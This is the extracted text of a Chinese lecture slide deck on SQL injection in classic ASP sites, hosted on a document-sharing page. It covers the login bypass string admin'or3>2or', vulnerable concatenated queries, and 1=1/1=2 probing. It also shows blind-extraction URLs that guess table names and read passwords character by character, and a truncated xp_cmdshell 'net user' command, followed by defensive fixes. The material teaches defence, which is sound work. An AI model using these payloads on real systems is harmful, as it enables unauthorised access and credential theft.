![SQL注入的原理及防范課件_第1頁(yè)](http://file4.renrendoc.com/view/a7c1f5f59a73fae823e26b96eeb7b411/a7c1f5f59a73fae823e26b96eeb7b4111.gif)
![SQL注入的原理及防范課件_第2頁(yè)](http://file4.renrendoc.com/view/a7c1f5f59a73fae823e26b96eeb7b411/a7c1f5f59a73fae823e26b96eeb7b4112.gif)
![SQL注入的原理及防范課件_第3頁(yè)](http://file4.renrendoc.com/view/a7c1f5f59a73fae823e26b96eeb7b411/a7c1f5f59a73fae823e26b96eeb7b4113.gif)
![SQL注入的原理及防范課件_第4頁(yè)](http://file4.renrendoc.com/view/a7c1f5f59a73fae823e26b96eeb7b411/a7c1f5f59a73fae823e26b96eeb7b4114.gif)
![SQL注入的原理及防范課件_第5頁(yè)](http://file4.renrendoc.com/view/a7c1f5f59a73fae823e26b96eeb7b411/a7c1f5f59a73fae823e26b96eeb7b4115.gif)
版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
SQL注入的原理及防范梁興建一、SQL注入簡(jiǎn)介程序員在編寫(xiě)代碼的時(shí)候,沒(méi)有對(duì)用戶(hù)輸入數(shù)據(jù)的合法性進(jìn)行判斷,使應(yīng)用程序存在安全隱患。用戶(hù)可以提交一段數(shù)據(jù)庫(kù)查詢(xún)代碼,根據(jù)程序返回的結(jié)果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQLInjection,即SQL注入。一、SQL注入簡(jiǎn)介
SQL注入是從正常的WWW端口訪(fǎng)問(wèn),而且表面看起來(lái)跟一般的Web頁(yè)面訪(fǎng)問(wèn)沒(méi)什么區(qū)別,所以目前市面的防火墻都不會(huì)對(duì)SQL注入發(fā)出警報(bào),如果管理員沒(méi)查看IIS日志的習(xí)慣,可能被入侵很長(zhǎng)時(shí)間都不會(huì)發(fā)覺(jué)。這種攻擊的要訣在于將SQL的查詢(xún)/行為命令通過(guò)‘嵌入’的方式放入合法的HTTP提交請(qǐng)求中從而達(dá)到攻擊者的某種意圖?,F(xiàn)在很多的動(dòng)態(tài)網(wǎng)頁(yè)都會(huì)從該網(wǎng)頁(yè)使用者的請(qǐng)求中得到某些參數(shù),然后動(dòng)態(tài)的構(gòu)成SQL請(qǐng)求發(fā)給數(shù)據(jù)庫(kù)的。一、SQL注入簡(jiǎn)介舉個(gè)例子,當(dāng)有某個(gè)用戶(hù)需要通過(guò)網(wǎng)頁(yè)上的用戶(hù)登陸(用戶(hù)身份驗(yàn)證)時(shí),動(dòng)態(tài)網(wǎng)頁(yè)會(huì)將該用戶(hù)提交上來(lái)的用戶(hù)名與密碼加進(jìn)SQL詢(xún)問(wèn)請(qǐng)求發(fā)給數(shù)據(jù)庫(kù),用于確認(rèn)該用戶(hù)提交的身份驗(yàn)證信息是否有效。在SQL注入攻擊的角度看來(lái),這樣可以使我們?cè)诎l(fā)送SQL請(qǐng)求時(shí)通過(guò)修改用戶(hù)名與/或密碼值的‘領(lǐng)域’區(qū)來(lái)達(dá)到攻擊的目的。一、SQL注入簡(jiǎn)介
但是,SQL注入的手法相當(dāng)靈活,在注入的時(shí)候會(huì)碰到很多意外的情況。必須根據(jù)具體情況進(jìn)行分析,構(gòu)造巧妙的SQL語(yǔ)句,從而成功獲取想要的數(shù)據(jù)。二、登錄驗(yàn)證不足
當(dāng)確認(rèn)有機(jī)會(huì)進(jìn)行注入的時(shí)候,可以在輸入框中加入or語(yǔ)句,這樣可能會(huì)有意外的收獲。Admin’or3>2or‘,這就是我們需要在文本框中輸入的內(nèi)容,這樣能達(dá)到什么效果呢?下面,通過(guò)一個(gè)網(wǎng)頁(yè)來(lái)測(cè)試:二、登錄驗(yàn)證不足
先來(lái)看login.asp文件
以下內(nèi)容為程序代碼:……
<formaction="loging.asp"method="post"name="login">
用戶(hù)名<inputtype=textname=namevalue=""maxlength="20">
密碼<inputtype=passwordname=pwdvalue=""maxlength="20">
<inputtype=submitname=btvalue="確認(rèn)">
<inputtype=resetname=btvalue="重置">
</form>
……二、登錄驗(yàn)證不足
再來(lái)看loging.asp文件
以下內(nèi)容為程序代碼:……
dimrs,sql
dimname,pwd
uname=request.form("name")
upwd=request.form("pwd")ifuname=""orupwd=""then
response.redirect"login.asp"
endif
……'關(guān)于身份驗(yàn)證
sql="select*fromuserwhereuname=‘"&name&“'andpwd=‘"&upwd&“‘"二、登錄驗(yàn)證不足'關(guān)于身份驗(yàn)證
sql="select*fromuserwherename='"&name&“'andpwd='"&pwd&“'"我們?cè)谟脩?hù)名位置輸入【admin'or3>2or'】,在密碼區(qū)輸入【11】??纯磗ql會(huì)變成什么:
以下內(nèi)容為程序代碼:sql=select*fromuserwherename='admin'or3>2or''andpwd='11'我們知道,or是一個(gè)邏輯運(yùn)算符,在判斷多個(gè)條件的時(shí)候,只要有一個(gè)成立,則等式就返回真,后面的and就不再進(jìn)行判斷了,也就是說(shuō)我們繞過(guò)了密碼驗(yàn)證,只要我們知道用戶(hù)名就可以登陸該系統(tǒng)。二、登錄驗(yàn)證不足防范方法(1)過(guò)濾提交數(shù)據(jù);我們可以通過(guò)
以下內(nèi)容為程序代碼:……
dimname,pwd
name=request.form("name")
name=replace(name,"'","’")'替換半角'為全角'
name=replace(exp1,"-","")'替換-為空
name=replace(exp1,";","")'替換;為空
……二、登錄驗(yàn)證不足防范方法(2)過(guò)濾loging.asp文件本身驗(yàn)證的邏輯就是錯(cuò)誤的,應(yīng)該修改為:……
sql="select*fromuserwherename='"&name&"'"
rs.opensql,conn_data,1,1
'身份驗(yàn)證過(guò)程
ifnotrs.eofthen
ifpwd=rs("pwd")then
session("login")="ok"
response.redirect"/default.asp"
else
response.redirect"login.asp"
……二、登錄驗(yàn)證不足防范方法(3)用不同的用戶(hù)帳戶(hù)執(zhí)行查詢(xún)、插入、更新、刪除操作。
(4)通過(guò)數(shù)據(jù)庫(kù)設(shè)置特定的存儲(chǔ)過(guò)程,只允許特定的存儲(chǔ)過(guò)程執(zhí)行,所有的用戶(hù)輸入必須遵從被調(diào)用的存儲(chǔ)過(guò)程的安全上下文,
(5)限制表單或查詢(xún)字符串輸入的長(zhǎng)度。大大增加攻擊者在SQL命令中插入有害代碼的難度。
(6)檢查提取數(shù)據(jù)的查詢(xún)所返回的記錄數(shù)量(=1)。(7)將超級(jí)管理員帳號(hào)置于第2條記錄之后!
三、從網(wǎng)頁(yè)傳遞參數(shù)中注入
這是SQL注入中最常見(jiàn)的方法,并且根據(jù)該注入原理有很多SQL注入工具產(chǎn)生。同樣,首先,應(yīng)測(cè)試這些缺陷是否存在,首先加入某些特殊的字符標(biāo)記,輸入如:‘、and……之類(lèi)的SQL標(biāo)記。如果沒(méi)有進(jìn)行檢測(cè),而直接運(yùn)行SQL語(yǔ)句,說(shuō)明有機(jī)會(huì)進(jìn)行注入。三、從網(wǎng)頁(yè)傳遞參數(shù)中注入
從參數(shù)中注入,準(zhǔn)確的測(cè)試方法應(yīng)該是:①/showdetail.asp?id=49
②/showdetail.asp?id=49and1=1
③/showdetail.asp?id=49and1=2這就是經(jīng)典的1=1、1=2測(cè)試法了,怎么判斷呢?看看上面三個(gè)網(wǎng)址返回的結(jié)果就知道了:可以注入的表現(xiàn):①正常顯示(這是必然的,不然程序就有錯(cuò))
②正常顯示,內(nèi)容基本與①相同
③提示BOF或EOF(程序沒(méi)做任何判斷時(shí))、或提示找不到記錄(判斷了rs.eof時(shí))、或顯示內(nèi)容為空(程序加了onerrorresumenext)不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會(huì)有程序定義的錯(cuò)誤提示,或提示類(lèi)型轉(zhuǎn)換時(shí)出錯(cuò)。三、從網(wǎng)頁(yè)傳遞參數(shù)中注入
(1)猜表名:http://www.***.com/show.asp?id=50and
0<>(selectcount(*)fromtablename),這里的tablename就是你猜測(cè)的表名。如果頁(yè)面顯示正常,則你猜測(cè)的表名是正確的。
(2)猜字段名:
http://www.***.com/show.asp?id=50and
0<>(selectcount(fieldname)fromtablename),這里的fieldname是表中某一字段名,如果頁(yè)面顯示正常,可以斷定字段名稱(chēng)正確。
三、從網(wǎng)頁(yè)傳遞參數(shù)中注入
(3)在獲得tablename和fieldname以后,就可以更進(jìn)一步了。
比如是登陸系統(tǒng),tablename是user,fieldname是id,name和pwd,看看能做些什么:
a、http://www.***.com/show.asp?id=50and0<>
(selectcount(*)fromuserwhereid>1000)
粗略判斷用戶(hù)數(shù)量
三、從網(wǎng)頁(yè)傳遞參數(shù)中注入b、http://www.***.com/show.asp?id=50and1=
(selectcount(*)fromuserwhereid=1andlen(name)=10)
判斷id為1的用戶(hù)的用戶(hù)名長(zhǎng)度是否為10
c、http://www.***.com/show.asp?id=50and1=
(selectcount(*)fromuserwhereid=1andmid(name,n,1)='a')
判斷id為1的用戶(hù)的用戶(hù)名的第n位是否為a
三、從網(wǎng)頁(yè)傳遞參數(shù)中注入d、http://www.***.com/show.asp?id=50and1=
(selectcount(*)fromuserwhereid=1andlen(pwd)=10)
判斷id為1的用戶(hù)的密碼長(zhǎng)度是否為10
e、http://www.***.com/show.asp?id=50and1=
(selectcount(*)fromuserwhereid=1andmid(pwd,n,1)='a')
判斷id為1的用戶(hù)的密碼的第n位是否為a,這樣用戶(hù)的登錄信息將全部得到,如果你的密碼沒(méi)有加密,整個(gè)網(wǎng)站將毀于一旦!三、從網(wǎng)頁(yè)傳遞參數(shù)中注入另外,如果是SQLServer,我們可以通sysobjects的操作,獲取sa的密碼,一旦得到sa的權(quán)限,就可以執(zhí)行xp_cmdshell了,那么相當(dāng)于可以輕易的取得操作服務(wù)器的權(quán)限。如execmaster..xp_cmdshell“netuserna
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 產(chǎn)品推廣與營(yíng)銷(xiāo)方案總結(jié)
- 私人心理咨詢(xún)服務(wù)免責(zé)協(xié)議書(shū)
- 廢舊物資購(gòu)銷(xiāo)合同
- 股份制企業(yè)合同審查文書(shū)模板
- Unit 1 You and Me 大單元整體教學(xué)設(shè)計(jì) 2024-2025學(xué)年人教版英語(yǔ)七年級(jí)上冊(cè)
- 第3章開(kāi)源硬件創(chuàng)意設(shè)計(jì)3.4審查并優(yōu)化方案 -高中教學(xué)同步《信息技術(shù)人工-開(kāi)源硬件項(xiàng)目設(shè)計(jì)》教學(xué)設(shè)計(jì)(人教-中圖版2019)
- 川教版信息技術(shù)(2019)五年級(jí)上冊(cè)第三單元 圖形化編程之聰明的角色 2 偵測(cè)太空垃圾-教學(xué)設(shè)計(jì)
- 20《美麗的小興安嶺》教學(xué)設(shè)計(jì)-2024-2025學(xué)年三年級(jí)上冊(cè)語(yǔ)文統(tǒng)編版(五四制)
- 2025屆高考生物備考教學(xué)設(shè)計(jì):第四章 細(xì)胞的生命歷程 課時(shí)1 細(xì)胞的增殖
- 第六單元課題3二氧化碳的實(shí)驗(yàn)室制取教學(xué)設(shè)計(jì)-2024-2025學(xué)年九年級(jí)化學(xué)人教版上冊(cè)
- 預(yù)防深靜脈血栓VTE持續(xù)改進(jìn)QCC品管圈PDCA案例3例
- 水環(huán)境綜合治理服務(wù)方案(技術(shù)標(biāo))
- 【原創(chuàng)】頭腦特工隊(duì)開(kāi)的那些心理學(xué)腦洞
- 美甲藝術(shù)全套教學(xué)課件
- 中國(guó)古代餐具
- 上海市嘉定一中2023年高二數(shù)學(xué)第一學(xué)期期末質(zhì)量檢測(cè)試題含解析
- 施工日志模板
- 消費(fèi)者起訴狀模板范文
- Agilent7820A氣相色譜儀操作規(guī)程知識(shí)講解
- 醫(yī)院招標(biāo)采購(gòu)管理辦法及實(shí)施細(xì)則(試行)
- 中華人民共和國(guó)文物保護(hù)法學(xué)習(xí)課程PPT
評(píng)論
0/150
提交評(píng)論